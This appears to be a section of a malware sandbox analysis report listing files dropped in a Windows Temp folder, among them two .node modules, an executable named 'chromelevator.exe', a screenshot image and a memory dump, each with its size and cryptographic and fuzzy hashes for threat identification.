Path C:\Users\Admin\AppData\Local\Temp\2568702015.node
Size 1.6MB
SHA256 a0703af5f81284f61b51946b703ccaafcae05c848527d38f1e6d8290f98ff538
MD5 ed4ba4226ff675bb2b6cc4013eb8869c
SHA1 b95f7a08e140fc96ba3506a6f5f41f41a09b1a3c
SHA512 b3e69235b4fca48163d1604564fefa23fd6be371888bce2a8715506b17ffdaf555ea9368b011d6ef05d7904affa04095f8dc9d9135208ffd113836c714c2c820
SSDEEP 24576:NlFbqFLRGKa3z28ynzoF6CyLXp1LueQ3NFL9wMeeSZInj6lkBWKM7OjArG2:5qFL26zZLXp1ieQvSAjm
TLSH
T178758D46B2A900FCC467C1748A5B6607E7B274051B74A7EF15E08AAA6F33FE1167F324
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4082636123.node

Path C:\Users\Admin\AppData\Local\Temp\4082636123.node
Size 275KB
SHA256 89cbacbc842eb08645bf0b2ea5a03f0a0504a213aa123242343e5588e2f0149c
MD5 b0de8894ef937d27715e81eedb6177b9
SHA1 7a3cce84c94c2a7cfc9b260d219d3738f0f93a99
SHA512 9166ddf27a1094817aba685c66bd2fc60d57c4d0961d96931a4e56bac34de339334532196253b676276241d88214e2927b1fc174acaf33296cf8f84e1455b055
SSDEEP 6144:odlJkcWg0NBDpwx9cRABXT8BH9gb0HXHVXm98r9jCdfluwJHdQPlDgNbZ4e9z1qK:mWgsDux9cRABXT8BH9gb0HXHVXm98r9L
TLSH
T11E543916B2466A7DD51AC070A3178AA22671BCDA1B31FAFB11D065393F66BF47B3C310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chromelevator.exe

Path C:\Users\Admin\AppData\Local\Temp\ls_xn9t0c\chromelevator.exe
Size 1.4MB
SHA256 16d221f6402ceeddbd6adcf42da0a3b8c85dee30485096fc9b22500bfb610fbd
MD5 5dbd92da6517e14311716dc923529889
SHA1 10e43c7e82463e876c717499aeb0894ab907e34c
SHA512 c1d23623989c5622b06818131dea2b159a20815d1f2449e878583ce26d7b3b5b8625be695784c7d3876cf06051cd329a69b667ba3204282c6a7a95506d376c5e
SSDEEP 24576:8UwCOMgY6/XURTER2ZwXBxn6C15DGjAydLs7nbs/0gRS19fv9M39D3V:kqicZwv15zfQ69fvE3V
TLSH
T1AD650217A76400F8D1BBC674CD52890ADB77FC4A4771AA8F13A84E960F237A08E3E755
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scr_1787390735828.png

Path C:\Users\Admin\AppData\Local\Temp\scr_1787390735828.png
Size 546KB
SHA256 77d34ffbdd88118d92ec4d7c419e8a5dcbd96577f7edd8225ff135fd5260f36a
MD5 6834cc30551d71a992a1c2ea368e1498
SHA1 aed0e8f68393d310fa192df0e01d61510d34de5b
SHA512 b8af3399184d85e0132b3be3565756fecd83b0d070750ddb41b306815a5af82ee45c298de6d6766370657b925c16f8f15585e3815813089f9bacd5b9d33c9fad
SSDEEP 12288:7PLHd9+wI5lbkmrbAxH3Xc44eCldfuCqY3JmX+FKbFGJLmkfKwWQhA:bLf+xlYmrMxXM44tZuCHE+FKcVmOIQ+
TLSH
T1A0C422003231840DDDDB44B6ADE58FEB172473A3EC7C1160DA36AE8CA985E347E9656B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3112-23-0x000001D348820000-0x000001D348842000-memory.dmp

Download